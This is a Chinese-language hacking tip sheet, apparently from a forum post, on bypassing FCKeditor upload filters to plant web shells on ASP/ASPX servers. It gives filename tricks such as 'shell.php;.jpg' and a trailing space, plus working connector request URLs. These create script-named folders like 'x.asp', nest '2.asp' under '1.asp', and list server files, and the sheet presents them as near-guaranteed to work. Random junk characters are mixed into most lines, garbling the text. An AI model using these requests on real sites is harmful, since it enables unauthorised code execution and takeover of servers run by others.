很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg: ~1 F' l8 Y) Z2 s
0 I" @) d. C$ w/ \
提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。
$ ~) A# ^4 P& G* t& c5 S3 o4 O+ e
继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。; N. t3 d( h7 J; e1 A, r
5 E2 F: x6 S& g- n
突破建立文件夹:
4 F/ t2 M0 C' s) p. ?; a- Z+ J0 C4 I
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp
$ t$ Y# N: `, W6 F3 K
% u+ W& o" D+ a0 ~参数:0 y: Q# M* L2 N8 k( |0 R3 Q
6 g, t0 x0 b# ~& r
当前目录名:CurrentFolder=/qing.asp0 F0 c9 U* i2 D0 `$ b+ E9 y* B2 i
4 w4 }" a3 x# _" u* N! R
新的目录名:NewFolderName=x.asp K" D" W3 {9 |8 ]0 t
" V( k" ~* T* m8 V; c9 T8 }' y
其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……
1 l( H. D a1 a' x& O( b
" b2 p/ V) x5 b! e8 ~7 _- m那么 x.asp 就已经建立生成了,此方法百试百灵!% M$ q* f l+ W" d
, Y# u$ B A+ U4 E g新建文件夹参数 x.asp,基本都能搞定。) `# ?4 K0 e: g0 U( n
1 _' T' s# c* E H& f- A下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建
& {& v: Z9 ?/ L
U. {8 s$ D% }# z% S4 Caspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp/ p" e; M8 o! J" \
- D4 X7 C K* P/ [1 U
获取文件列表2 q2 r6 V( `2 Y3 w6 M- m3 E
aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F
2 R0 ^* y2 F2 A6 {$ d- R3 J8 A
" z5 r' v) Y7 s3 s2 k |